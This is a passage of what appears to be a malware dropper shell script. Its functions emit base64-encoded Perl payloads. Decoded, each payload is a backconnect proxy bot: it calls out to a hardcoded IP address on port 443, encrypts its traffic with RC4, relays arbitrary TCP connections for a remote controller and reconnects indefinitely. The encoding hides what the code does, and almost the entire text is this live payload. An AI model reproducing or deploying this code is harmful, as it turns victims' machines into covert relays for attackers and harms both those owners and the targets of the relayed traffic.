YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_57() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_58() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDUnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg 